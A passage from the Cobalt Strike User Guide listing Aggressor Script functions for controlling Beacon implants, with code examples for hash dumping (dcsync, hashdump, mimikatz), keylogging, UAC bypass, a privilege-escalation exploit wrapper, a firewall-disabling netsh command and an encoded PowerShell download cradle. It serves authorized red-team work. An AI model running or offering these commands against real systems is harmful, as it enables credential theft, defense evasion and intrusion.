bargue_remove($1, "%COMSPEC%"); base64_decode Unwrapabase64-encodedstring Arguments $1-thestringtodecode Returns Theargumentprocessedbyabase64decoder CobaltStrikeUserGuide www.fortra.com page:269

AggressorScript/Functions Example println(base64_decode(base64_encode("this is a test"))); base64_encode Base64encodeastring Arguments $1-thestringtoencode Returns Theargumentprocessedbyabase64encoder Example println(base64_encode("this is a test")); bblockdlls Launchchildprocesseswithbinarysignaturepolicythatblocksnon-MicrosoftDLLsfrom loadingintheprocessspace. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-trueorfalse;blocknon-MicrosoftDLLsinchildprocess Note ThisattributeisavailableinWindows10only. Example on beacon_initial { binput($1, "blockdlls start"); CobaltStrikeUserGuide www.fortra.com page:270

AggressorScript/Functions bblockdlls($1, true); } bbrowser GeneratethebeaconbrowserGUIcomponent.ShowsonlyBeacons. Returns ThebeaconbrowserGUIobject(ajavax.swing.JComponent) Example addVisualization("Beacon Browser", bbrowser()); Seealso &showVisualization bbrowserpivot StartaBrowserPivot Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thePIDtoinjectthebrowserpivotagentinto. $3-thearchitectureofthetargetPID(x86|x64) Example bbrowserpivot($1, 1234, "x86"); bbrowserpivot_stop StopaBrowserPivot Arguments CobaltStrikeUserGuide www.fortra.com page:271

AggressorScript/Functions $1-theidforthebeacon.ThismaybeanarrayorasingleID. Example bbrowserpivot_stop($1); bbypassuac REMOVED Removed in Cobalt Strike 4.0. bcancel Cancelafiledownload Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thefiletocancelorawildcard. Example item "&Cancel Downloads" { bcancel($1, "*"); } bcd AskaBeacontochangeit'scurrentworkingdirectory. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thefoldertochangeto. Example

create a command to change to the user's home directory

alias home { CobaltStrikeUserGuide www.fortra.com page:272

AggressorScript/Functions $home = "c:\users\" . binfo($1, "user"); bcd($1, $home); } bcheckin AskaBeacontocheckin.Thisisbasicallyano-opforBeacon. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. Example item "&Checkin" { binput($1, "checkin"); bcheckin($1); } bclear Thisisthe"oops"command.Itclearsthequeuedtasksforthespecifiedbeacon. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. Example bclear($1); bconnect AskBeacon(orSSHsession)toconnecttoaBeaconpeeroveraTCPsocket Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thetargettoconnectto CobaltStrikeUserGuide www.fortra.com page:273

AggressorScript/Functions $3-(optional)theporttouse.Defaultprofileportisusedotherwise. Note Use&beacon_linkifyouwantascriptfunctionthatwillconnectorlinkbasedonalistener configuration. Example bconnect($1, "DC"); bcovertvpn AskBeacontodeployaCovertVPNclient. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-theCovertVPNinterfacetodeploy $3-theIPaddressoftheinterface[ontarget]tobridgeinto $4-(optional)theMACaddressoftheCovertVPNinterface Example bcovertvpn($1, "phear0", "172.16.48.18"); bcp AskBeacontocopyafileorfolder. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thefileorfoldertocopy $3-thedestination CobaltStrikeUserGuide www.fortra.com page:274

AggressorScript/Functions Example bcp($1, "evil.exe", "\\target\C$\evil.exe"); bdata GetmetadataforaBeaconsession. Arguments $1-theidforthebeacontopullmetadatafor Returns AdictionaryobjectwithmetadataabouttheBeaconsession. Example println(bdata("1234")); bdcsync Usemimikatz'sdcsynccommandtopullauser'spasswordhashfromadomaincontroller.This functionrequiresadomainadministratortrustrelationship. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-fullyqualifiednameofthedomain $3-(optional)DOMAIN\usertopullhashesfor $4-(optional)thePIDtoinjectthedcsynccommandintoor$null $5-(optional)thearchitectureofthetargetPID(x86|x64)or$null Note CobaltStrikeUserGuide www.fortra.com page:275

AggressorScript/Functions If$3isleftout,dcsyncwilldumpalldomainhashes. Examples Spawnatemporaryprocess

dump a specific account

bdcsync($1, "PLAYLAND.testlab", "PLAYLAND\Administrator");

dump all accounts

bdcsync($1, "PLAYLAND.testlab"); Injectintothespecifiedprocess

dump a specific account

bdcsync($1, "PLAYLAND.testlab", "PLAYLAND\Administrator", 1234, "x64");

dump all accounts

bdcsync($1, "PLAYLAND.testlab", $null, 1234, "x64"); bdesktop StartaVNCsession. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. Example item "&Desktop (VNC)" { bdesktop($1); } bdllinject InjectaReflectiveDLLintoaprocess. Arguments CobaltStrikeUserGuide www.fortra.com page:276

AggressorScript/Functions $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thePIDtoinjecttheDLLinto $3-thelocalpathtotheReflectiveDLL Example bdllinject($1, 1234, script_resource("test.dll")); bdllload CallLoadLibrary()inaremoteprocesswiththespecifiedDLL. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thetargetprocessPID $3-theon-targetpathtoaDLL Note TheDLLmustbethesamearchitectureasthetargetprocess. Example bdllload($1, 1234, "c:\windows\mystuff.dll"); bdllspawn SpawnaReflectiveDLLasaBeaconpost-exploitationjob. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thelocalpathtotheReflectiveDLL $3-aparametertopasstotheDLL CobaltStrikeUserGuide www.fortra.com page:277

AggressorScript/Functions $4-ashortdescriptionofthispostexploitationjob(showsupinjobsoutput) $5-true/false;useimpersonatedtokenwhenrunningthispost-exjob? $6-(optional)callbackfunctionwiththeresults.Argumentstothecallbackare:$1=beaconID, $2=results,$3=informationmap Notes l Thisfunctionwillspawnanx86processiftheReflectiveDLLisanx86DLL.Likewise,if theReflectiveDLLisanx64DLL,thisfunctionwillspawnanx64process. l Awell-behavedReflectiveDLLfollowstheserules: o ReceivesaparameterviathereservedDllMainparameterwhentheDLL_ PROCESS_ATTACHreasonisspecified. o PrintsmessagestoSTDOUT o Callsfflush(stdout)toflushSTDOUT o CallsExitProcess(0)whendone.Thiskillsthespawnedprocesstohostthe capability. Example(ReflectiveDll.c) ThisexampleisbasedonStephenFewer'sReflectiveDLLInjectionProject: BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) { BOOL bReturnValue = TRUE; switch( dwReason ) { case DLL_QUERY_HMODULE: if( lpReserved != NULL ) *(HMODULE )lpReserved = hAppInstance; break; case DLL_PROCESS_ATTACH: hAppInstance = hinstDLL; / print some output to the operator */ if (lpReserved != NULL) { printf("Hello from test.dll. Parameter is '%s'\n", (char )lpReserved); } else { printf("Hello from test.dll. There is no parameter\n"); } / flush STDOUT */ CobaltStrikeUserGuide www.fortra.com page:278

AggressorScript/Functions fflush(stdout); /* we're done, so let's exit */ ExitProcess(0); break; case DLL_PROCESS_DETACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: break; } return bReturnValue; } Example(AggressorScript) alias hello { bdllspawn($1, script_resource("reflective_dll.dll"), $2, "test dll", 5000, false); } bdownload AskaBeacontodownloadafile Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thefiletorequest Example bdownload($1, "c:\sysprep.inf"); bdrives AskBeacontolistthedrivesonthecompromisedsystem Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. CobaltStrikeUserGuide www.fortra.com page:279

AggressorScript/Functions Example item "&Drives" { binput($1, "drives"); bdrives($1); } beacon_command_describe DescribeaBeaconcommand. Returns AstringdescriptionoftheBeaconcommand. Arguments $1-thecommand Example println(beacon_command_describe("ls")); beacon_command_detail GetthehelpinformationforaBeaconcommand. Returns AstringwithhelpfulinformationaboutaBeaconcommand. Arguments $1-thecommand Example println(beacon_command_detail("ls")); CobaltStrikeUserGuide www.fortra.com page:280

AggressorScript/Functions beacon_command_register RegisterhelpinformationforaBeaconcommand. Arguments $1-thecommand $2-theshortdescriptionofthecommand $3-thelong-formhelpforthecommand. Example alis echo { blog($1, "You typed: " . substr($1, 5)); } beacon_command_register( "echo", "echo text to beacon log", "Synopsis: echo [arguments]\n\nLog arguments to the beacon console"); beacon_commands GetalistofBeaconcommands. Returns AnarrayofBeaconcommands. Example printAll(beacon_commands()); beacon_data GetmetadataforaBeaconsession. Arguments CobaltStrikeUserGuide www.fortra.com page:281

AggressorScript/Functions $1-theidforthebeacontopullmetadatafor Returns AdictionaryobjectwithmetadataabouttheBeaconsession. Example println(beacon_data("1234")); beacon_elevator_describe DescribeaBeaconcommandelevatorexploit Returns AstringdescriptionoftheBeaconcommandelevator Arguments $1-theexploit Example println(beacon_elevator_describe("uac-token-duplication")); SeeAlso &beacon_elevator_register,&beacon_elevators,&belevate_command beacon_elevator_register RegisteraBeaconcommandelevatorwithCobaltStrike.Thisaddsanoptiontotherunasadmin command. Arguments $1-theexploitshortname $2-adescriptionoftheexploit CobaltStrikeUserGuide www.fortra.com page:282

AggressorScript/Functions $3-thefunctionthatimplementstheexploit($1istheBeaconID,$2thecommandand arguments) Example

Integrate schtasks.exe (via SilentCleanup) Bypass UAC attack

Sourced from Empire:

https://github.com/EmpireProject/Empire/tree/master/data/module_source/privesc sub schtasks_elevator { local('$handle $script $oneliner $command');

acknowledge this command

btask($1, "Tasked Beacon to execute $2 in a high integrity context", "T1088");

read in the script

$handle = openf(getFileProper(script_resource("modules"), "Invoke- EnvBypass.ps1")); $script = readb($handle, -1); closef($handle);

host the script in Beacon

$oneliner = beacon_host_script($1, $script);

base64 encode the command

$command = transform($2, "powershell-base64");

run the specified command via this exploit.

bpowerpick!($1, "Invoke-EnvBypass -Command " $+ $command $+ "", $oneliner); } beacon_elevator_register("uac-schtasks", "Bypass UAC with schtasks.exe (via SilentCleanup)", &schtasks_elevator); SeeAlso &beacon_elevator_describe,&beacon_elevators,&belevate_command beacon_elevators GetalistofcommandelevatorexploitsregisteredwithCobaltStrike. Returns CobaltStrikeUserGuide www.fortra.com page:283

AggressorScript/Functions AnarrayofBeaconcommandelevators Example printAll(beacon_elevators()); Seealso &beacon_elevator_describe,&beacon_elevator_register,&belevate_command beacon_execute_job Runacommandandreportitsoutputtotheuser. Arguments $1-theBeaconID $2-thecommandtorun(environmentvariablesareresolved) $3-thecommandarguments(environmentvariablesarenotresolved). $4-flagsthatchangehowthejobislaunched(e.g.,1=disableWOW64filesystemredirection) Notes l Thestring$2and$3arecombinedas-isintoacommandline.Makesureyoubegin$3 withaspace! l Thisisthemechanism CobaltStrikeusesforitsshellandpowershellcommands. Example alias shell { local('$args'); $args = substr($0, 6); btask($1, "Tasked beacon to run: $args", "T1059"); beacon_execute_job($1, "%COMSPEC%", " /C $args", 0); } beacon_exploit_describe CobaltStrikeUserGuide www.fortra.com page:284

AggressorScript/Functions DescribeaBeaconexploit Returns AstringdescriptionoftheBeaconexploit Arguments $1-theexploit Example println(beacon_exploit_describe("ms14-058")); SeeAlso &beacon_exploit_register,&beacon_exploits,&belevate beacon_exploit_register RegisteraBeaconprivilegeescalationexploitwithCobaltStrike.Thisaddsanoptiontothe elevatecommand. Arguments $1-theexploitshortname $2-adescriptionoftheexploit $3-thefunctionthatimplementstheexploit($1istheBeaconID,$2isthelistener) Example

Integrate windows/local/ms16_016_webdav from Metasploit

https://github.com/rapid7/metasploit-

framework/blob/master/modules/exploits/windows/local/ms16_016_webdav.rb sub ms16_016_exploit { local('$stager');

check if we're on an x64 system and error out.

CobaltStrikeUserGuide www.fortra.com page:285

AggressorScript/Functions if (-is64 $1) { berror($1, "ms16-016 exploit is x86 only"); return; }

acknowledge this command

btask($1, "Task Beacon to run " . listener_describe($2) . " via ms16-016", "T1068");

generate our shellcode

$stager = payload($2, "x86");

spawn a Beacon post-ex job with the exploit DLL

bdllspawn!($1, getFileProper(script_resource("modules"), "cve-2016- 0051.x86.dll"), $stager, "ms16-016", 5000);

link to our payload if it's a TCP or SMB Beacon

beacon_link($1, $null, $2); } beacon_exploit_register("ms16-016", "mrxdav.sys WebDav Local Privilege Escalation (CVE 2016-0051)", &ms16_016_exploit); SeeAlso &beacon_exploit_describe,&beacon_exploits,&belevate beacon_exploits GetalistofprivilegeescalationexploitsregisteredwithCobaltStrike. Returns AnarrayofBeaconexploits. Example printAll(beacon_exploits()); Seealso &beacon_exploit_describe,&beacon_exploit_register,&belevate CobaltStrikeUserGuide www.fortra.com page:286

AggressorScript/Functions beacon_host_imported_script LocallyhostapreviouslyimportedPowerShellscriptwithinBeaconandreturnashortscript thatwilldownloadandinvokethisscript. Arguments $1-theidoftheBeacontohostthisscriptwith. Returns AshortPowerShellscripttodownloadandevaluatethepreviouslyscriptwhenrun.Howthis one-linerisusedisuptoyou! Example alias powershell { local('$args $cradle $runme $cmd');

$0 is the entire command with no parsing.

$args = substr($0, 11);

generate the download cradle (if one exists) for an imported PowerShell

script $cradle = beacon_host_imported_script($1);

encode our download cradle AND cmdlet+args we want to run

$runme = base64_encode( str_encode($cradle . $args, "UTF-16LE") );

Build up our entire command line.

$cmd = " -nop -exec bypass -EncodedCommand " $+ $runme $+ "";

task Beacon to run all of this.

btask($1, "Tasked beacon to run: $args", "T1086"); beacon_execute_job($1, "powershell", $cmd, 1); } beacon_host_script LocallyhostaPowerShellscriptwithinBeaconandreturnashortscriptthatwilldownloadand invokethisscript.Thisfunctionisawaytorunlargescriptswhenthereareconstraintsonthe lengthofyourPowerShellone-liner. CobaltStrikeUserGuide www.fortra.com page:287

AggressorScript/Functions Arguments $1-theidoftheBeacontohostthisscriptwith. $2-thescriptdatatohost. Returns AshortPowerShellscripttodownloadandevaluatethescriptwhenrun.Howthisone-lineris usedisuptoyou! Example alias test { local('$script $hosted'); $script = "2 + 2"; $hosted = beacon_host_script($1, $script); binput($1, "powerpick $hosted"); bpowerpick($1, $hosted); } beacon_ids GettheIDofallBeaconscallingbacktothisCobaltStriketeamserver. Returns AnarrayofbeaconIDs Example foreach $bid (beacon_ids()) { println("Bid: $bid"); } beacon_info GetinformationfromaBeaconsession'smetadata. Arguments CobaltStrikeUserGuide www.fortra.com page:288

AggressorScript/Functions $1-theidforthebeacontopullmetadatafor $2-thekeytoextract Returns Astringwiththerequestedinformation. Example println("User is: " . beacon_info("1234", "user")); println("PID is: " . beacon_info("1234", "pid")); beacon_inline_execute ExecuteaBeaconObjectFile Arguments $1-theidfortheBeacon $2-astringcontainingtheBOFfile $3-theentrypointtocall $4-packedargumentstopasstotheBOFfile $5-(optional)callbackfunctionwiththeresults.Argumentstothecallbackare:$1=beaconID, $2=results,$3=informationmap Note TheCobaltStrikedocumentationhasapagespecifictoBOFfiles.SeeBeacon Object Files on page 171. Example(hello.c) /*

  • Compile with:
  • x86_64-w64-mingw32-gcc -c hello.c -o hello.x64.o
  • i686-w64-mingw32-gcc -c hello.c -o hello.x86.o */ CobaltStrikeUserGuide www.fortra.com page:289

AggressorScript/Functions #include "windows.h" #include "stdio.h" #include "tlhelp32.h" #include "beacon.h" void demo(char * args, int length) { datap parser; char * str_arg; int num_arg; BeaconDataParse(&parser, args, length); str_arg = BeaconDataExtract(&parser, NULL); num_arg = BeaconDataInt(&parser); BeaconPrintf(CALLBACK_OUTPUT, "Message is %s with %d arg", str_arg, num_ arg); } Example(hello.cna) alias hello { local('$barch $handle $data $args');

figure out the arch of this session

$barch = barch($1);

read in the right BOF file

$handle = openf(script_resource("hello. $+ $barch $+ .o")); $data = readb($handle, -1); closef($handle);

pack our arguments

$args = bof_pack($1, "zi", "Hello World", 1234);

announce what we're doing

btask($1, "Running Hello BOF");

execute it.

beacon_inline_execute($1, $data, "demo", $args); } SeeAlso &bof_pack CobaltStrikeUserGuide www.fortra.com page:290

AggressorScript/Functions beacon_link ThisfunctionlinkstoanSMBorTCPlistener.IfthespecifiedlistenerisnotanSMBorTCP listener,thisfunctiondoesnothing. Arguments $1-theidofthebeacontolinkthrough $2-thetargethosttolinkto.Use$nullforlocalhost. $3-thelistenertolink Example

smartlink [target] [listener name]

alias smartlink { beacon_link($1, $2, $3); } beacon_remote_exec_method_describe DescribeaBeaconremoteexecutemethod Returns AstringdescriptionoftheBeaconremoteexecutemethod. Arguments $1-themethod Example println(beacon_remote_exec_method_describe("wmi")); Seealso &beacon_remote_exec_method_register,&beacon_remote_exec_methods,&bremote_exec CobaltStrikeUserGuide www.fortra.com page:291

AggressorScript/Functions beacon_remote_exec_method_register RegisteraBeaconremoteexecutemethodwithCobaltStrike.Thisaddsanoptionforusewith theremote-execcommand. Arguments $1-themethodshortname $2-adescriptionofthemethod $3-thefunctionthatimplementstheexploit($1istheBeaconID,$2isthetarget,$3isthe command+args) SeeAlso &beacon_remote_exec_method_describe,&beacon_remote_exec_methods,&bremote_exec beacon_remote_exec_methods GetalistofremoteexecutemethodsregisteredwithCobaltStrike. Returns Anarrayofremoteexecmodules. Example printAll(beacon_remote_exec_methods()); Seealso &beacon_remote_exec_method_describe,&beacon_remote_exec_method_register,&bremote_ exec beacon_remote_exploit_arch GetthearchinfoforthisBeaconlateralmovementoption. CobaltStrikeUserGuide www.fortra.com page:292

AggressorScript/Functions Arguments $1-theexploit Returns x86orx64 Example println(beacon_remote_exploit_arch("psexec")); SeeAlso &beacon_remote_exploit_register,&beacon_remote_exploits,&bjump beacon_remote_exploit_describe DescribeaBeaconlateralmovementoption. Returns AstringdescriptionoftheBeaconlateralmovementoption. Arguments $1-theexploit Example println(beacon_remote_exploit_describe("psexec")); SeeAlso &beacon_remote_exploit_register,&beacon_remote_exploits,&bjump beacon_remote_exploit_register CobaltStrikeUserGuide www.fortra.com page:293

AggressorScript/Functions RegisteraBeaconlateralmovementoptionwithCobaltStrike.Thisfunctionextendsthejump command. Arguments $1-theexploitshortname $2-thearchassociatedwiththisattack(e.g.,x86,x64) $3-adescriptionoftheexploit $4-thefunctionthatimplementstheexploit($1istheBeaconID,$2isthetarget,$3isthe listener) Seealso &beacon_remote_exploit_describe,&beacon_remote_exploits,&bjump beacon_remote_exploits GetalistoflateralmovementoptionsregisteredwithCobaltStrike. Returns Anarrayoflateralmovementoptionnames. Example printAll(beacon_remote_exploits()); Seealso &beacon_remote_exploit_describe,&beacon_remote_exploit_register,&bjump beacon_remove RemoveaBeaconfromthedisplay. Arguments CobaltStrikeUserGuide www.fortra.com page:294

AggressorScript/Functions $1-theidforthebeacontoremove beacon_stage_pipe Thisfunctionhandlesthestagingprocessforabindpipestager.Thisisanoptionalstagerfor lateralmovement.Youcanstageanyx86payload/listenerthroughthisstager.Use&stager_ bind_pipetogeneratethisstager. Arguments $1-theidofthebeacontostagethrough $2-thetargethost $3-thelistenername $4-thearchitectureofthepayloadtostage.x86istheonlyoptionrightnow. Example

step 1. generate our stager

$stager = stager_bind_pipe("my listener");

step 2. do something to run our stager

step 3. stage a payload via this stager

beacon_stage_pipe($bid, $target, "my listener", "x86");

step 4. assume control of the payload (if needed)

beacon_link($bid, $target, "my listener"); beacon_stage_tcp ThisfunctionhandlesthestagingprocessforabindTCPstager.Thisisthepreferredstagerfor localhost-onlystaging.Youcanstageanypayload/listenerthroughthisstager.Use&stager_ bind_tcptogeneratethisstager. Arguments $1-theidofthebeacontostagethrough $2-reserved;use$nullfornow. CobaltStrikeUserGuide www.fortra.com page:295

AggressorScript/Functions $3-theporttostageto $4-thelistenername $5-thearchitectureofthepayloadtostage(x86,x64) Example

step 1. generate our stager

$stager = stager_bind_tcp("my listener", "x86", 1234);

step 2. do something to run our stager

step 3. stage a payload via this stager

beacon_stage_tcp($bid, $target, 1234, "my listener", "x86");

step 4. assume control of the payload (if needed)

beacon_link($bid, $target, "my listener"); beacons GetinformationaboutallBeaconscallingbacktothisCobaltStriketeamserver. Returns Anarrayofdictionaryobjectswithinformationabouteachbeacon. Example foreach $beacon (beacons()) { println("Bid: " . $beacon['id'] . " is " . $beacon['name']); } belevate AskBeacontospawnanelevatedsessionwitharegisteredtechnique. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-theexploittofire CobaltStrikeUserGuide www.fortra.com page:296

AggressorScript/Functions $3-thelistenertotarget. Example item "&Elevate 31337" { openPayloadHelper(lambda({ binput($bids, "elevate ms14-058 $1"); belevate($bids, "ms14-058", $1); }, $bids => $1)); } Seealso &beacon_exploit_describe,&beacon_exploit_register,&beacon_exploits belevate_command AskBeacontorunacommandinahigh-integritycontext Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-themodule/commandelevatortouse $3-thecommandanditsarguments. Example

disable the firewall

alias shieldsdn { belevate_command($1, "uac-token-duplication", "cmd.exe /C netsh advfirewall set allprofiles state off"); } Seealso &beacon_elevator_describe,&beacon_elevator_register,&beacon_elevators berror CobaltStrikeUserGuide www.fortra.com page:297

AggressorScript/Functions PublishanerrormessagetotheBeacontranscript Arguments $1-theidforthebeacontopostto $2-thetexttopost Example alias donotrun { berror($1, "You should never run this command!"); } bexecute AskBeacontoexecuteacommand[withoutashell].Thisprovidesnooutputtotheuser. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thecommandandargumentstorun Example bexecute($1, "notepad.exe"); bexecute_assembly Spawnsalocal.NETexecutableassemblyasaBeaconpost-exploitationjob. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thelocalpathtothe.NETexecutableassembly $3-parameterstopasstotheassembly CobaltStrikeUserGuide www.fortra.com page:298

AggressorScript/Functions $4-(optional)the"PATCHES:"argumentcanmodifyfunctionsinmemoryfortheprocess.Upto 4"patch-rule"rulescanbespecified(spacedelimited). $5-(optional)callbackfunctionwiththeresults.Argumentstothecallbackare:$1=beaconID, $2=results,$3=informationmap "patch-rule" syntax (comma delimited): [library],[function],[offset],[hex- patch-value] library -1-260characters function -1-256characters offset -0-65535(Theoffsetfromthestartoftheexecutablefunction) hex-patch-value-2-200hexcharacters(0-9,A-F).Lengthmustbeevennumber(hex pairs). Notes l Thiscommandacceptsavalid.NETexecutableandcallsitsentrypoint. l Thispost-exploitationjobinheritsBeacon'sthreadtoken. l Compileyourcustom .NETprogramswitha.NET3.5compilerforcompatibilitywith systemsthatdon'thave.NET4.0andlater. Example alias myutil { bexecute_assembly($1, script_resource("myutil.exe"), "arg1 arg2 "arg 3""); } bexit AskaBeacontoexit. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. Example item "&Die" { binput($1, "exit"); CobaltStrikeUserGuide www.fortra.com page:299

AggressorScript/Functions bexit($1); } bgetprivs AttemptstoenablethespecifiedprivilegeinyourBeaconsession. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-acomma-separatedlistofprivilegestoenable.See: https://msdn.microsoft.com/en-us/library/windows/desktop/bb530716(v=vs.85).aspx Example alias debug { bgetprivs($1, "SeDebugPriv"); } bgetsystem AskBeacontoattempttogettheSYSTEMtoken. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. Example item "Get &SYSTEM" { binput($1, "getsystem"); bgetsystem($1); } bgetuid AskBeacontoprinttheUserIDofthecurrenttoken Arguments CobaltStrikeUserGuide www.fortra.com page:300

AggressorScript/Functions $1-theidforthebeacon.ThismaybeanarrayorasingleID. bgetuid($1); bhashdump AskBeacontodumplocalaccountpasswordhashes.Ifinjectingintoapidthatprocessrequires administratorprivileges. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2 -thePIDtoinjectthehashdumpdllintoor$null. $3 -(optional)thearchitectureofthetargetPID(x86|x64)or$null. $4-(optional)callbackfunctionwiththeresults.Argumentstothecallbackare:$1=beaconID, $2=results,$3=informationmap. Example Spawnatemporaryprocess item "Dump &Hashes" { binput($1, "hashdump"); bhashdump($1); } Injectintothespecifiedprocess) bhashdump($1, 1234, "x64"); bind BindakeyboardshortcuttoanAggressorScriptfunction.Thisisanalternatetothebind keyword. Arguments CobaltStrikeUserGuide www.fortra.com page:301

AggressorScript/Functions $1-thekeyboardshortcut $2-acallbackfunction.Calledwhentheeventhappens. Example

bind Ctrl+Left and Ctrl+Right to cycle through previous and next tab.

bind("Ctrl+Left", { previousTab(); }); bind("Ctrl+Right", { nextTab(); }); Seealso &unbind binfo GetinformationfromaBeaconsession'smetadata. Arguments $1-theidforthebeacontopullmetadatafor $2-thekeytoextract Returns Astringwiththerequestedinformation. Example println("User is: " . binfo("1234", "user")); println("PID is: " . binfo("1234", "pid")); binline_execute CobaltStrikeUserGuide www.fortra.com page:302

AggressorScript/Functions ExecuteaBeaconObjectFile.Thisisthesameasusingtheinline-executecommandinBeacon. Arguments $1-theidfortheBeacon $2-thepathtotheBOFfile $3-thestringargumenttopasstotheBOFfile $4-(optional)callbackfunctionwiththeresults.Argumentstothecallbackare:$1=beaconID, $2=results,$3=informationmap Notes Thisfunctionsfollowsthebehaviorofinline-executeintheBeaconconsole.Thestring argumentwillbezero-terminated,convertedtothetargetencoding,andpassedasanargument totheBOF'sgofunction.ToexecuteaBOF,withmorecontrol,use&beacon_inline_execute TheCobaltStrikedocumentationhasapagespecifictoBOFfiles.SeeBeacon Object Files on page 171. binput ReportacommandwasruntotheBeaconconsoleandlogs.Scriptsthatexecutecommands fortheuser(e.g.,events,popupmenus)shouldusethisfunctiontoassureoperatorattribution ofautomatedactionsinBeacon'slogs. Arguments $1-theidforthebeacontopostto $2-thetexttopost Example

indicate the user ran the ls command

binput($1, "ls"); bipconfig TaskaBeacontolistnetworkinterfaces. CobaltStrikeUserGuide www.fortra.com page:303

AggressorScript/Functions Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-callbackfunctionwiththeipconfigresults.Argumentstothecallbackare:$1=beaconID, $2=results,$3=informationmap Example alias ipconfig { bipconfig($1, { blog($1, "Network information is:\n $+ $2"); }); } bjobkill AskBeacontokillarunningpost-exploitationjob Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thejobID. Example bjobkill($1, 0); bjobs AskBeacontolistrunningpost-exploitationjobs. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. Example bjobs($1); CobaltStrikeUserGuide www.fortra.com page:304

AggressorScript/Functions bjump AskBeacontospawnasessiononaremotetarget. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thetechniquetouse $3-theremotetarget $4-thelistenertospawn Example

winrm [target] [listener]

alias winrm { bjump($1, "winrm", $2, $3); } Seealso &beacon_remote_exploit_describe,&beacon_remote_exploit_register,&beacon_remote_exploits bkerberos_ccache_use AskbeacontoinjectaUNIXkerberosccachefileintotheuser'skerberostray Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thelocalpaththeccachefile Example alias kerberos_ccache_use { bkerberos_ccache_use($1, $2); } CobaltStrikeUserGuide www.fortra.com page:305

AggressorScript/Functions bkerberos_ticket_purge Askbeacontopurgeticketsfromtheuser'skerberostray Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. Example alias kerberos_ticket_purge { bkerberos_ticket_purge($1); } bkerberos_ticket_use Askbeacontoinjectamimikatzkirbifileintotheuser'skerberostray Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thelocalpaththekirbifile Example alias kerberos_ticket_use { bkerberos_ticket_use($1, $2); } bkeylogger Injectsakeystrokeloggerintoaprocess. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-(optional)thePIDtoinjectthekeystrokeloggerintoor$null. $3-(optional)thearchitectureofthetargetPID(x86|x64)or$null. CobaltStrikeUserGuide www.fortra.com page:306

AggressorScript/Functions Example Spawnatemporaryprocess bkeylogger($1); Injectintothespecifiedprocess bkeylogger($1, 1234, "x64"); bkill AskBeacontokillaprocess Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thePIDtokill Example bkill($1, 1234); blink AskBeacontolinktoahostoveranamedpipe Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thetargettolinkto $3-(optional)thepipenametouse.ThedefaultpipenameintheMalleableC2profileisthe defaultotherwise. Note CobaltStrikeUserGuide www.fortra.com page:307

AggressorScript/Functions Use&beacon_linkifyouwantascriptfunctionthatwillconnectorlinkbasedonalistener configuration. Example blink($1, "DC"); blog PublishesanoutputmessagetotheBeacontranscript. Arguments $1-theidforthebeacontopostto $2-thetexttopost Example alias demo { blog($1, "I am output for the blog function"); } blog2 PublishesanoutputmessagetotheBeacontranscript.Thisfunctionhasanalternateformat from&blog Arguments $1-theidforthebeacontopostto $2-thetexttopost Example alias demo2 { blog2($1, "I am output for the blog2 function"); } CobaltStrikeUserGuide www.fortra.com page:308

AggressorScript/Functions bloginuser AskBeacontocreateatokenfromthespecifiedcredentials.Thisisthemake_tokencommand. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thedomainoftheuser $3-theuser'susername $4-theuser'spassword Example

make a token for a user with an empty password

alias make_token_empty { local('$domain $user'); ($domain, $user) = split("\\", $2); bloginuser($1, $domain, $user, ""); } blogonpasswords AskBeacontodumpin-memorycredentialswithmimikatz.Thisfunctionrequiresadministrator privileges. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2 -(optional)thePIDtoinjectthelogonpasswordscommandintoor$null $3 -(optional)thearchitectureofthetargetPID(x86|x64)or$null Example Spawnatemporaryprocess CobaltStrikeUserGuide www.fortra.com page:309

